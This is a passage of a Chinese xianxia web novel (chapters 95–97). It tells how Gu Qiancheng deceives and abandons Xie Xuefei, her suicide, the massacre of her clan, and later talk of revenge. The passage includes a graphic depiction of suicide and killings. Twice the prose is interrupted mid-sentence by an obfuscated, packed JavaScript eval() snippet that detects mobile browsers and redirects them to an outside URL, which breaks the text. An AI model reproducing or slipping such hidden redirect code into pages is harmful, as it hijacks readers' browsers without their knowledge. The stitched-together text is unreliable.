“……好,好。”谢长乐勉强笑了笑,“绯儿,你快回去,不要叫族长和顾公子久等。” 谢雪绯送别了谢长乐,转身走近院子里,心情雀跃地高声道:“我回来啦!” 一片昏暗、寂静。 无人应答。 若是往常时刻,此时该有人笑着撑伞来接她,问她去了哪里,做了什么,开不开心?这个人要么是爹爹,要么是千城。 可是今夜院里寂静得却有些异常,正堂中也并未燃灯。 今天可是大雪天呀,不知爹爹又去什么地方了。 千城呢? 95. 真相(3) 天气真冷,凛冽的气息快要将肺腑都冻住,谢雪绯被冷空气激得轻咳一声,怀揣着满心的欢喜想要去见顾千城,迫不及待地想要投入他温热的怀抱,等他像往常那样满眼爱怜地揉她的脸颊,用体温一点一点将她的身躯暖热。 可是顾千城也不见了。 谢雪绯不由得心中疑惑,撑伞的手被冷风吹得发红僵硬,脸颊也凉了。她刚要绕回到正堂时,冷不丁却听见一声唤:“绯儿。” 她吓了一跳,借着明亮的雪光看去,竟见顾千城站在那株棠棣之下,浑身落满了雪。 “怎么在这里淋雪?这么冷。”谢雪绯顿时松了一口气,眉眼染上笑意,步伐轻快地奔过去扑进他的怀中,“哦,我知道了,难道是想和我一起白头的意思吗?” 好拙劣的笑话,她话音刚落自己就忍不住哈哈笑了。笑过之后才发现顾千城没笑,反倒是眉心微蹙,心事重重的样子。 她伸出手指戳戳他的脸颊,“怎么啦?这么不开心啊,那就让我来告诉你一个好消息吧。” 谢雪绯手握成拳抵在唇边,眼波流转,脸上带笑地清了清嗓子:“我——” 顾千城忽然道:“绯儿,转玄三术,我已经学会了前两式。” 谢雪绯眼睛霎时就亮了:“那很好啊!” “你知道我为何要学转玄三术吗?” “不是我非要你学的吗?”谢雪绯依偎进他的怀抱中,眨了眨眼。 顾千城很轻地摇头,掌心按在谢雪绯的肩头,果断、决绝地将她推出自己的怀抱。 谢雪绯猝不及防被他推开,绵密冰冷的雪絮打着旋儿一下子涌进她怀中,脸上笑意霎时僵住。 还不等她发问,下一瞬,顾千城说出来的话却叫她浑身都冷透了。 他说:“绯儿,我的夫人生病了。” 谢雪绯愣住了,呆呆地望着他,雪片扑在她的脸上也浑然不觉:“……千城,我没有生病。” “我带她走了很多地方,求了很多人,他们都说药石罔效。” 顾千城闭上眼,俊朗的眉目在昏暗的光下显得如此绝情:“若找不到医治的办法,她就只剩下一年多的寿命。我眼睁睁看着她日渐消瘦,却束手无策,那种心急如焚的感觉快要将我煎熬得……真恨不得生了重病的人不是她,而是我。” 谢雪绯看着他,神色茫然。分明大雪在落,可她却觉得天地都静止了。 “你这话什么意思?顾千城,你的夫人难道不是我吗?” 顾千城睁开眼,却不肯看她:“绯儿。我是渡真世家的家主,我的夫人,自然就是渡真世家的家主夫人。” 谢雪绯睁大双眼,不知不觉间泪水已经淌湿她的脸颊:“行了,不许说了……你不许再说!” 她似乎是从顾千城的话里意识到什么,一颗心慌乱地跳动起来。她眼中流露出恐慌之意,抬手拼命地想去捂住他的嘴巴:“顾千城,我叫你不要说了!” 顾千城捉住她的手,淡声道:“走投无路之际,我遇到一位白发散修,他说冽雪山谷的谢氏一族有一门世代相传的术法,名为转玄三术。虽然无法医治我夫人的病,却可以将她的病痛全部转移到别人的身上。” 他嗤笑一声:“不过很可惜的是,这门术法是谢氏的秘传,向来只有本脉子女可以学。而谢氏一族从不会离开冽雪山谷,更忌讳旁人知晓他们的秘传术法,倘若我贸然行事,求你们跟我回到渡真世家的话,或许还会引起你们的疑心,从而被你们杀掉。” “我只好选择与你成婚。” 谢雪绯听到这里,神情已经是遭受巨大打击后的木然,她浑身簌簌颤抖着:“你成功了。” “是。”顾千城点头,“所以我该离开了。” 院外街巷的灯笼光亮隐约漏进来,光华溢彩。 谢雪绯只觉浑身的力气也随着那些光芒溜走了,一颗心沉沉地坠到冰冷的雪地里去,撕扯得她心腹肺腑一阵剧烈的疼痛,仿佛有尖刀利刃将她搅得血肉模糊。 她闭上眼,苍白的唇被冷风吹得干裂:“夫君,若你现在住口,我可以当做什么都没有发生。我们还像以前那样过日子。” 顾千城捉住她冰凉的手,漠然的目光落在她那张嫣然如娇花,却莹莹滴露水的脸上。 “绯儿,你很好,可是我已经有明媒正娶的夫人了。” “我不是你明媒正娶的夫人吗?” 顾千城道:“我和她,结过道契。” 若违此契,废半身修为,半生寿数。 谢雪绯像是听到了什么天大的笑话,极怒极悲之下,她一下子笑了出来,泪水淌满脸颊:“顾千城,你真是个无耻的混蛋。” 顾千城无情开口:“绯儿,族长临死前交代我,叫我无论如何都必须照顾好你。所以,倘若你愿意和我……” 他的话没有说完,谢雪绯睁大双眼,嗓音惨厉:“爹爹,爹爹在什么地方?你把爹爹怎么了?!” 顾千城硬生生抓住她的手腕,不叫她去看那血腥场面,冷声道:“他死了。” 一瞬的难以置信后,谢雪绯不知从哪里迸发出的气力,拳头狠命捶打着他的肩头与胸膛,痛声哭喊道:“顾千城你这……混蛋!当初是我们收留了你,是爹爹收留了你,你却如此恩将仇报!你简直就是个混蛋!你……” “谢雪绯!”顾千城纵使肩背宽阔有力,却还是被她捶得皱眉闷哼,他冷声道,“族长要我一定照顾好你。若你愿意跟我走,我会好好安置你的。” “走什么?走去哪里?去你的渡真世家,然后给你当个见不得人的外室吗?原来你们这些注重清誉的修真世家也会养外室?!” “你胡说什么!” “顾千城,你口口声声说你对自己的夫人有多么珍爱,宁肯自己生病,也不想让她经受病痛折磨。可是你有没有想过,你为了转玄三术和我成婚,是否对得起你的夫人?” 顾千城的眉头一拧:“她不会知道这些。” 谢雪绯神情僵滞,一瞬间连哭都忘记了,豆大的泪珠挂在眼尾,欲坠不坠。 顾千城沉声道:“只要你乖乖的,我会安置好你今后的生活。” “我稀罕吗。”谢雪绯仿佛听见了什么笑话,“顾千城,你当我是什么人?任你哄骗,随你拿捏,一旦失去利用价值,便可以随手丢弃的小玩意儿?” 她这话说得一点也不顾忌。顾千城颇为不悦,眼中隐隐露出烦躁。 曾经多么乖巧可人的女孩,如今竟也不可理喻起来。 怎么学会了胡搅蛮缠? 然而,他们终究有过夫妻之情。顾千城念她遭受打击,一时无法接受,才会如此口不择言。 他到底是心软了,轻声道:“你听话,我不是那样始乱终弃的人,绝不会丢下你不管的。” 谢雪绯的腿软得快要站不住,全靠顾千城托住她的腰才不至于摔倒。 她咬牙切齿,悲怒攻心,只觉整件事简直荒唐到可笑。 她深爱着的枕边人原来早已有了家室,她在不知情的情况下竟被他哄骗着做了插足的丑事。 可到头来,他还很大度呢,竟做出一副深情的模样,保证不会丢下她。 何等虚伪,何等恶心! 谢雪绯气得头脑发昏,心跳剧烈,撞得胸腔都在痛。 又悲又怒,痛到极致。连顾千城温柔哄劝的声音都如隔了一层水流,她听不清。 谢雪绯只觉得窒闷,她放声大哭,哭得嗓音嘶哑,几欲干呕。 可是院子外面的笑声、爆竹声真是好热闹,如滔天的浪潮一般,轻易地淹没了她嘶声的哭喊。 她是族长的女儿啊,备受宠爱,骄纵任性。母亲去世以后,父兄更是加倍地纵容她,生怕她受到半点委屈。 她也曾天真地以为,这世上不会再有人会欺负她。 可顾千城的所作所为却让她知道,外面的世界那样危险。 人心叵测,毒如蛇蝎。她像是误闯了丛林的家雀,稍一不慎,就被碾压得骨渣都不剩。 谢雪绯茫然地想:原来外面的人都这样心机深沉啊。 那这些年来,阿兄是不是过得很辛苦? 也幸好她没有真的去找阿兄,否则以她的天真,还不知要给阿兄添多少麻烦呢。 想来,倒是心生庆幸。 顾千城始终托住她的腰,将她揽在怀里。见她哭得伤心,甚至抬手抚了抚她的脑袋。 片刻后,谢雪绯迟钝地感受到腿面有什么温热的液体流淌下来,蔓延到她的膝弯。 腹部刀割剑刺般的剧痛叫她脸色苍白如纸,冷汗涔涔。 余光有明光闪过,是顾千城腰间的那把长刀。 她以为的琴瑟和鸣,白首相伴,其实不过是一个笑话。 顾千城瞒过了所有人,也瞒过了她。她就这样蒙在他编织的一场大梦中,可叹可笑地幻想着与他的一辈子。 事到如今,万念俱灰。 谢雪绯的手慢慢移过去,指尖触上刀柄,同时抬起眼,一滴泪划过脸颊:“这辈子遇上你,是我三生不幸。” “顾千城,”她抬起脸来,扯出一抹很难看的笑容,“我真心祝愿你的夫人可以早日病愈。你们夫妻二人……琴瑟和鸣,白首……相伴。” 顾千城皱起眉:“说什么气话,待会儿你跟我一起走。” “你杀了我的爹爹,我若与你一起走,还有何脸面活在这世上?” 谢雪绯狠狠闭了一下眼,再睁眼时目光决然:“顾千城,我与你这种丧尽天良的人不一样。我们谢家的儿女,向来只有为情为义而死,从不闻忍辱苟活之辈!” 话音落下,刀光一闪,殷红飞溅。长刀“当啷!”一声跌落在地。 温热的血液从她脖颈迸射而出,泼了顾千城半边肩颈与脸颊。 谢雪绯抽搐了两下,柔软的身躯从他的怀中缓缓滑落,扑倒在莹莹雪地上。 远处街巷的说笑声阵阵传来,微风吹过棠棣树枝,抖落满地碎雪。 顾千城怔怔看着她,像是还没有反应过来。 她身下素洁莹白的雪快速被血水染透,雪白的腮边也溅满了血,双眼大睁,目光有些涣散。 顾千城踉跄跪下.身,颤着声音:“绯儿?” 他略显忙乱地试图去捂住她汩汩冒血的脖颈,却都是徒劳。只在最后一刻时,才听谢雪绯抽搐着咳出一口血。 谢雪绯的意识已经到弥留之际,小脸微皱,眼里都是求恳与委屈的神色,像是要哭的孩子。 她眼角有泪,双唇微动,喃喃地说些什么。 “……娘,我好痛。” 染血的手掌挣扎着捂上自己的腹部。两息后,她脖颈后仰,终于慢慢地失了力气。 多么好的姑娘,她就像是一朵莹白的小花,凋落在温热的血泊中。 可惜,这世上最不缺的就是花儿。 顾千城闭上眼睛。 覆水难收。 他从地上捡起染血的刀,将谢雪绯和谢御恒都葬下,然后擦去脸上和肩颈的血迹,推门出院,穿过喧闹欢笑的人群,沿着山道一路出谷。 途中有谢氏族人笑呵呵地和他打招呼,问他要去哪里呢?怎么不见绯儿啊? 顾千城心绪乱得成了粥,根本想不到理由,慌乱间只道是去找个人。 族人们知道他向来沉默寡言,也不觉有异样,笑着说雪天路滑,顾公子要注意安全啊,千万不要叫绯儿担心。 顾千城木然地点头。 族人们沉浸在大雪花灯的热闹气氛中,没工夫多在乎他,便只挥挥手,不再说什么。 越远离山谷的中心,热闹人声就逐渐隐去。 顾千城低垂着眼睫看路。 他目的已成,本该感到喜悦或者欣慰,可此刻心中却茫然一片,比那大雪覆盖的山峰还要虚无。 即将走出山谷的时候,道旁砖房里走出来一个人,叫住了他。 谢长乐捧着一只茶壶,正要去摘红梅枝上的雪水煮茶喝,见了他便温声笑道:“咦?这不是我们绯儿妹妹的夫君吗?这么晚了要去哪里呀?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902947|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾千城恰好站在一树红梅下,他的脸陷在阴影中。 “随意走走。” “怎么啦?是高兴得坐不住了吗?” 谢长乐笑声清脆:“知道你要当爹爹了心里开心得不得了,可是也不要走得太远啊,过会儿就赶紧回去,好好照顾我们绯儿妹妹。” 话音落下,顾千城的瞳孔霎时紧缩。 谢长乐看不清他的神色,毫无察觉地笑道:“等小外甥出生了,我们都要去喝酒的!” 顾千城站在树下,浑身冰冷得仿佛不是自己的身体,许久后才涩声道:“……好。” 他再也无法忍受这里,加快步伐沿着山道片刻不停地往外走,慌张恐惧得像是在逃命一般。脑中不住嗡鸣,山谷隐约的笑声里仿佛含着尖锐刺耳的哭嚎,凛冽如刀剑般的风雪刺得他眼眶生疼,却涩得半滴眼泪都流不出来。 他透过细密的雪幕望向道旁的红梅树,恍惚间竟忆起他与谢雪绯初相识那会儿的情景。 他问她:雪分明是白色的,为什么你叫雪绯? 谢雪绯笑着折了一枝红梅花,花枝摇曳,映在雪地上,莹白的雪竟现出了柔和的绯色。 而后她笑着问他:是不是很漂亮呀? 顾千城恍然明了,轻笑着点头称是。 可是当她的血雾泼溅在雪地里时,那莹白的雪同样变成绯红。 同样很漂亮。 顾千城走出山谷,走过红枫林,走到那条泛着雾气的河边。 他咬着牙平复自己剧烈紊乱的心跳,而后抬手,在刺骨的寒风里狠狠给了自己一巴掌。 他明知自己这一遭会招惹事端,却不曾想过会叫谢雪绯落得如此下场。 谢雪绯天真灵动,活泼娇俏,她是个被保护得太好的女孩,应该永远被托在手掌心里,不见半点风霜雨雪。 倘若她并没有爱上自己,倘若她还活着,他或许也可以满怀喜悦地回到渡真世家,用学来的转玄三术,治好他夫人的病。 至于谢雪绯呢,他会按照谢御恒的遗愿,好好安置、照顾她;或者若是她不愿,从此相忘于江湖也是一个不错的选择。 总之,他目的已成,不会对此感到愧疚。 甚至能很快忘了这个软弱无知的女孩。 可是谢雪绯死了,死在冽雪山谷最热闹、最漂亮、最应该阖家团圆的大雪天。 她腹中刚有了他们的孩子,尚且来不及和他分享这个好消息,就倒在了冰冷的雪地里。 浑身是血,死不瞑目。 他花费了三个月,用谎言与欺骗为她编织了一场美丽的大梦。又用极为短暂的、不到半盏茶的时间告诉她梦该醒了。 她临死时都在痛恨他的不堪与无耻,意识消散之际,却捂住自己的腹部,口中喊娘。 顾千城手上的血,彻底洗不干净了。 - 两日后,顾千城回到渡真世家,施展转玄三术,顾夫人病愈。 顾景年雀跃不已,欢喜的声音传遍渡真每个角落:他的阿娘再度恢复了健康,他也不会失去阿娘的爱了! 经此一遭,顾千城和夫人柔情蜜意更胜以往,令人欣羡。 谢御恒和谢雪绯的死讯传到了流光山馆。谢拱辰提剑下山,与顾千城约战。 谢拱辰重伤,险胜。顾千城的死讯传回渡真世家,顾夫人悲痛不已,撞柱而亡。 半个月后,顾九枝听从长老院的安排,坐上渡真世家的家主之位。 至此,渡真世家与冽雪山谷的仇怨,应当是结束了。 然而,顾千城是渡真世家百年难遇的天才,他不仅修为高,也擅长制衡族中各家势力。他死后,渡真世家新一代的弟子培养险些整个垮掉,内部甚至多次发生意见分歧,导致冲突。长老院多次商议,始终忍不下这口气,于是派出包括云山、顾九枝、顾景年等人在内的弟子共二十七名,并联合永安江氏的数名子弟,一同前往冽雪山谷。 为何要联合永安江氏?因为“冽雪山谷有妖鬼作乱”,渡真必须要拉上一个盟友,证明他们封印冽雪山谷乃是师出有名。 他们趁夜围杀,因此并没有闹出太大动静,谢氏族人一夜之间全部被屠戮殆尽,不过也有“漏网之鱼”,比如谢长生。 他那一晚在谢氏宗祠里跪了半宿,企图以孝心感动祖宗保佑他多活两年,夜半时耳畔却总听见有声声鹤唳,他心中生疑,却望见后山那白鹤的目中,淌下两行血泪。 而顾九枝则是在到达冽雪山谷后,就察觉了此次过来的真实意图。她反抗未果被打昏丢在溪畔,稀里糊涂不知被冲到了何处。 二人于翌日傍晚被许家庄的百姓们发现,短暂地成为了金枝和雪生。 为了坐实“冽雪山谷的妖鬼虐杀百姓”这一恶名,云山提出,干脆派人往山外村庄挑几个人杀了。 那晚月黑风冷,许雁含的父母葬身在明亮的剑锋下,尸骨无存。 半年后,渡真世家更以威逼利诱的方式强行与永安江氏联合,攻入流光山馆。谢拱辰和白灵宣拼死战至最后一刻,终于掩护青松和阿楚带着谢尽芜从后山小道逃走。 青松与阿楚为了躲避渡真世家的追杀,特意带着谢尽芜避世隐居在偏僻的草屋中,乔装打扮融入当地百姓生活。 期间,永安江氏找上门来,青松为了保证自己绝不会将真相告知谢尽芜,提剑割舌。自此,他们才过了一段时间的安生日子。 渡真世家也终于放了心。 当年参与此事的人,死的死,封口的封口,余下都是些利益相关之人,更不会将事情说出去。 这世上不会再有外人知晓他们做过了什么。 一代人的恩怨到此为止。 可是谢长生没有死,他什么都记得。 新一轮仇恨的种子已经埋下。 而远离喧嚣的冽雪山谷,也在渡真和江氏多年来不遗余力的抹黑中,从谢氏族人的聚居处,慢慢演变成了必须被封印的“妖鬼作乱之地”。 就好像,假话说了一万遍,或许就变成了真的。 96. 串联 这就是当年的真相。 谢尽芜所中的邪印,原来就是一段被封住的有关冽雪山谷的记忆。多年来他脑海中沸腾的恶念与仇恨,则是谢氏族人的不甘与怨气。 也难怪他自从来到冽雪山谷之后,邪印发作得愈发频繁,痛楚也一次比一次难捱。 莹蓝色的光芒逐渐收敛,雪幕重新覆盖下来。寂静的山道上唯有冷风在呼啸。 谢尽芜的额头满是冷汗,邪印解除时险些抽去他半身的力气。他本就皙白的脸上更是无一丝血色。 心影攻破了他所中的邪印,化作白鹤飞回那两名少年的袖中。两名少年也因此看到了那段记忆,一时之间脸色青白交错,神色复杂地对视一眼。 白璟大步走上前,震惊之余不由得怒火中烧,指着那两名少年骂道:“你们族中之人做了这等见不得人的龌龊事,此刻还站在这里做什么?!” 那两名少年面面相觑,神情未免尴尬异样,声音也虚了不少:“这些事情我们也不知道,我们只是按照家主的吩咐拦住你们两个,然后对一位谢姓公子放出心影。其余的……我们什么都不知道。” 白璟接着骂:“如今知道真相了还不赶紧滚?还在这儿愣着干嘛呢,等着我请你俩吃饭吗?” 话音落下,那两名少年明知理亏也不敢还嘴,垂首迅速离开了。 谢尽芜完全没有注意到周遭的动静。他站在冰冷的雪地里,悲怒攻心,气血翻涌,唇角有一丝鲜血渗出来。 他咽下口中的腥甜,脑海中各种念头飞快转动。 没有了邪印的误导,他的心中只剩下纯粹的不甘与杀意逐渐沸腾着。 白璟赶走了那两名少年后,从袖中取出一支引魂铃,转身站在谢尽芜的身前。 他是少年相貌、少年体格,望向谢尽芜的时候还需微微扬起脸。 他看见了谢尽芜眼眸中的血丝,像是下了某种决心,道:“哥,我的修为不高,脑袋也不是很聪明,但却绝对不是那般作壁上观、贪生怕死之辈。” 谢尽芜抬眸,冷冷看他。 白璟神情认真得近乎严肃,一字一句说:“若你想要报仇,先算我一个。” - “系统提示:恭喜宿主,角色【谢尽芜】所中的邪印已经解除!” “警告:角色【谢尽芜】的黑化值已经达到60%!请宿主注意!” 山谷小院中,雪帘细密。 叶清圆端坐在正堂的圈椅中,听到第一条系统提示时刚要笑,第二条系统提示就让她差点没把手里的茶杯摔出去。 什么时候还有黑化值了?! 对面的顾九枝讲述完所有的来龙去脉,似乎是耗尽了力气一般,神色疲惫,只垂着睫喝茶,再不发一言。 而坐在旁边的江云初始终保持沉默,只在顾九枝提到永安江氏也参与冽雪山谷之事的时候,面容中显露出极痛心的神色。 叶清圆深吸一口气。 乍然听闻这段冽雪山谷的过往,她也心绪难平。她不确定谢尽芜现在的情况怎么样,关于谢氏族人的事情……他大抵是知道了吧? “你说的这些事,与渡真世家此次的行动有什么关系?”叶清圆问道。 换句话说,渡真这次来到冽雪山谷,是不是想再一次斩草除根,杀掉谢尽芜和谢长生? 顾九枝神情恹恹,轻声笑:“叶姑娘,若你坐在我这个位置,你会怎么做呢?” 院中的弟子们都被遣散了,正堂中只有她们三人相对而坐,周遭静谧,唯有暖炉中木炭发出极轻微的荜拨声,仿佛是一场密谈。 叶清圆思索一瞬,道:“我没有坐过这么高的位子,也无法做出你话中的所谓‘假设’。我只能从一个拥有良知与同情心的正常人的角度出发,顾家主,仇恨与怨怼从来都解决不了任何问题。” 在谢拱辰杀掉顾千城之后,整桩仇怨已经该结束了。偏生渡真世家不依不饶,竟迁怒至冽雪山谷的谢氏族人。为什么?难道顾千城一个人的性命就胜过那么多谢氏族人的性命吗? 因为他修为高,办事有手段,所以就天生高贵吗? 纵使冽雪山谷事件发生之后,渡真的某些长老们仍旧穷追不舍,围攻流光山馆,追杀谢尽芜。甚至到了今日,渡真竟又派了一堆人来到冽雪山谷,准备将谢尽芜和谢长生围在一起。 围在一块干什么呢?竟狠心到连他们两个都不肯放过吗? 顾九枝静静看了她片刻,轻笑道:“叶姑娘,或许你还记得当年是我带谢长生回到渡真的。” 叶清圆点点头:“记得。” “他自小体弱多病,本来都未必能活过十六岁。我与他好歹相识一场,并不想眼睁睁看着他死,所以我强行催动灵力灌顶,硬是给了他二十年的修为。期间,他的灵脉爆裂过两次,不过他也足够幸运,竟是都挺过来了。” 顾九枝顿了一下,继续道:“他的灵脉第二次恢复的时候,我察觉到他对我族中子弟起了杀心。” “八年的时间,他暗中害死渡真子弟共二十三,却至今都没有遭受族规惩治。叶姑娘知道是为什么吗?” 叶清圆手中捧着暖炉,一双琥珀色的澄净眼眸望着她:“可别说是因为你善良,所以眼睁睁看着自己族中子弟被杀,也不追究谢长生的责任。” 顾九枝被她逗笑了,摇头道:“不是因为这个。” “谢长生太聪明了。” 她逐渐敛去笑意,垂睫道:“他自小身体病弱不堪,所以脑筋心思尤其活络。人心本就复杂,他最擅长勾起人内心深处的贪念、猜忌与杀性。这么多年来他若想杀谁,从不必亲自动手,而是步步周旋,逼得他们自相残杀。每一桩命案发生以后,渡真高层以及长老院人人都怀疑是他,可谁也定不了他的罪。 “那些事情闹得很难收场。后来有人再也无法忍受谢长生的存在,屡次暗中出手想要杀掉他,可是那时他的修为已经仅次于我和云山,暗杀全部失败。所以你看,他们亦知自己根本拿不出证据证明谢长生杀害同门,才只好采取这种连自己都唾弃的手段。” 叶清圆静静听着,总觉得顾九枝的态度、立场,与渡真的其他人好像不太一致。 顾九枝继续道:“总而言之,谢长生就这么如履薄冰地在渡真活下来了。” 甚至还活得风生水起。 谢长生的性情温和平淡,寡言沉着。他在渡真时常遭受某些子弟的欺凌与辱骂,却半点不放在心上,有条不紊地逐步推行自己的计划。渡真弟子们虽天真懵懂,却又不是瞎子,自然看得出来这些事到底谁对谁错。 久而久之,以顾景年为首的子弟们名声大臭,谢长生却成了他们暗中钦慕的对象。 至于私下里那些“顾雪庭师叔残害同门”的传言,众人当然是不信。 在有些事情上,长老院高层和渡真弟子们完全秉持着两种截然不同的态度。 倘若不提那些苦怨仇恨,谢长生该是个如春水般柔和明亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919272|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年。 可惜这世上没有如果。 顾九枝道:“当初我们不杀他,也有另外一个原因,他确实是难得一遇的术法天才。渡真世家至今有许多术法都是他亲手所创,包括青霜阁顶的那道法阵就是他动手加固,也包括心影。” 江云初讶异道:“原来心影是他所创?” “是。只是这道术法尚且有缺陷,也太过狠毒,因此甚少使用。”顾九枝说到这里,神情亦有些不解,“我也不太明白,他研究出这种术法到底是为了什么。” 叶清圆听到此处,疑惑道:“既然有这么多渡真子弟都因谢长生而死,你身为家主,竟也没有因此……” “因此杀了他?”顾九枝摇头笑道,“我无法证明那些人是因他而死。况且,自相残杀的那些弟子们,全都参与过冽雪山谷之事,无一例外。” 叶清圆道:“直到金璧城的槐妖案发生。” “对。”顾九枝叹息,“或许是他有些心急了,也或许是他根本就懒得再遮掩。总之,宋雨阁的死讯传回渡真之后,我没有任何理由再留他。” 所以,他被逐出了渡真世家。 渡真不愿将家丑外扬,对外只宣称宋雨阁是闭关修行,绝口不提其他。再之后,就是叶清圆和谢尽芜到达金璧城,探查槐妖一案。 直到谢长生出手打伤江云初和许明竹,这些事终于再也瞒不住。 所以其实是有一条暗线,将所有的事情都串联在一起。 叶清圆很安静地听着,直到此刻终于有种豁然开朗的感觉。 顾九枝叹息道:“我也知道这许多年来,世上修行人都说我这家主当得偏心,斥我一味地偏袒谢长生,说我眼不盲,心却盲。可是又有几人知晓这其中内情?他们却不知,身居高位,若一味地只凭心意做事,不辨清浊,由着身边人颠倒黑白搬弄是非,那才是糊涂。” 话说到此处,叶清圆当即领会了她的意思。 她看着顾九枝和江云初,有些不敢相信地睁大了双眼:“所以,这次你们来到冽雪山谷,是为了……” 江云初抬眸:“清圆,你方才说得对。仇恨与怨怼从来都解决不了任何问题,这些事情必须要有个了解。” 顾九枝则是颔首轻笑:“渡真族内,家风不正,子弟之间欺凌之事常有。我只是想趁此机会,肃清家风罢了。” 她这些年活在渡真长老院的压迫之下,被迫“学会”了许多东西。 包括人生来就不平等。 十五年前,在渡真世家攻杀谢氏族人的时候,她也曾天真愚昧地想要阻止。 可是伴随而来的,是长老院数十名弟子的压制。她被打昏过去,丢在溪边。 可怜得就像是被人随手丢弃的棋子。 棋子无用,自然该扔。长老院的手中掌持着许多棋子,他们比顾九枝还听话,还好用。 顾九枝心里很清楚,若非她是顾千城之女,或许长老院早已采取手段让她消失在这个世界上。 她应该如履薄冰,谨小慎微,乖乖地去做长老院的傀儡。 听话的傀儡。 可是她不甘心。凭什么? 人真的生来就有高低贵贱之分吗? 顾千城失去的一条命,就必须用谢氏全族的性命来补偿吗? 她就活该被当做傀儡,连自己是谁都活不清楚吗? 顾九枝不明白。 这十几年来,长老院给她灌输的观念,摇摇欲坠。 97. 过往 顾九枝不喜欢长老院。 长老院设立在后山,那里常年多雨,不见天日,阴暗又森冷,处处都充斥着腐朽的气息。 她恐惧那些长老们,他们的皮肤枯裂如树皮,浑浊的眼珠中满是被权欲浸透的光,像是一个个不死的老妖怪。 可是顾千城每天都押着她去长老院汇报课业。 顾九枝不想去长老院,也不想吃小灶。 她想和其他的子弟们一样,去习堂念书,再笑闹着去膳堂用饭。 在每堂课的间隙跑去棠花树林,看落英缤纷,光华流转。 顾千城察觉到了她的叛逆之心,什么都没说,只是将一张名单甩在她的面前。 这是一张十七人的名单,是这一代着重培养的天赋出众的弟子,也是下一任家主的备选人。 更是顾九枝的竞争对手。 顾千城俯下身,宽厚的掌心揉她的头顶,低声道:“九枝,不要辜负大家对你的期望。” 顾九枝懵懂地点头:“好。” 她不想辜负爹娘对自己的期望,所以只好选择听从长老院的安排。 因为她是渡真的少主。 顾九枝时常感到疑惑,顾景年也是爹娘的孩子,是渡真少主,为何爹娘和长老院从不逼着他修习功课? 顾夫人是这样讲的:“弟弟天赋不好,所以阿爹阿娘不期望他能做出多大一番事业,将来能伴你左右就好了。而你的天赋不可以浪费,以后坐上家主之位后,一定要多多照拂年儿,记住了吗?” 顾夫人唤顾景年为“年儿”,是好亲切好疼爱的称呼。 而对顾九枝,顾夫人却只说“你”。 分明是血脉相连,却终究亲疏有别。 这点细微的差别对待,宛如一根刺,扎在了顾九枝的心里。 顾九枝乖顺地点头,“我记住了,阿娘。” 顾夫人满意地笑了:“好孩子。” 只要听话,就是阿娘口中的“好孩子”。 顾九枝摸索出了一点可以让她也得到疼爱的门道。她今后一定会很听话的。 为了讨取爹娘的欢心和疼爱,顾九枝主动对顾景年示好,教给他一些简单的术法和功课。 只要对弟弟好,阿娘就会喜欢我的。顾九枝天真地想。 可是顾景年真的很笨,又顽劣好动。顾九枝想尽办法叫他安静下来,都无济于事。 这金尊玉贵的小少年,竟还泪眼汪汪道:“你这样欺负我,我一定要到母亲那里告状,叫母亲打你!” 顾九枝听得心惊跳,浑身的血一瞬间都凉透了。她怔愣一瞬后,决定不再费无用功,扔了纸笔,将哇哇大哭的顾景年轰出门外。 十四岁的夏天,顾九枝实在受够了长老院那闷死人的氛围。 她没有吃小灶,而是趁人不注意,偷偷溜去了渡真世家设在崖顶的千人大饭堂。 霞晖绚烂,人声鼎沸。顾九枝茫然地站在饭堂门口,面对这番热闹的景象,有些不知所措,却心生向往和欢喜。 原来大家都是这样吃饭的呀,有说有笑,还会互相夹菜。 真热闹。 愣神之际,身后一人蓦地赶来,急促道:“晚了、晚了!都怪你,非要救什么小狸猫,耽误这么久,饭都被别人打光了!宋雨阁我告诉你,要是害得我今天吃不到锅包肉,你就完蛋了!” 那名叫宋雨阁的弟子步伐平缓地走过来,一脸无奈:“闭嘴!烦死了!那不是还有很多吗?” 说罢,好奇地看了顾九枝一眼。 顾九枝垂下眼睫,侧身让开。 宋雨阁站住脚步,淡淡看着顾九枝:“我瞧你有些眼熟,你是长老院的人吗?” 先前那人早已飞奔着跑去锅包肉的窗口,身影隐没在人群中。 顾九枝静静看着他,眸光清亮。 两人直挺挺地站在饭堂门口实在怪异,宋雨阁又开始烦躁,低声道:“你一个人?要不要一起吃?” 顾九枝笑出来:“好啊。” 云山终于抢到了最后一份锅包肉。他有洁癖,每次都使用自己的餐具,还要拿软布将膳堂的桌椅都擦一遍,才肯坐下吃。 宋雨阁吃一顿饭要翻好几个白眼。云山冷笑道:“你眼皮抽筋了?” 顾九枝低头默默吃饭。旁边的宋雨阁冷哼一声,放下筷子,从修士袍上抓了几根狸花猫的猫毛,迅速地抹在了云山洁白的衣袖。 云山浑身汗毛倒立,大叫一声:“宋雨阁,你找死!” 渡真世家内部除了顾氏子弟之外,每年还会派人专程去寻一些天资出众的孩子,带回世家教养。 宋雨阁和云山就是如此。他们六岁入门,住同一间院子,天天拌嘴。 云山话多,宋雨阁性子闷,常对他的废话感到不耐烦。 顾九枝听的最多的一句话就是:“云山,你能闭嘴吗?” 云山有洁癖,所以顾九枝每次都故意把脏污的手抹在他手上,看他抓狂,怒骂:“顾九枝,你又抽的哪门子风!” 后来云山看见她就跑。 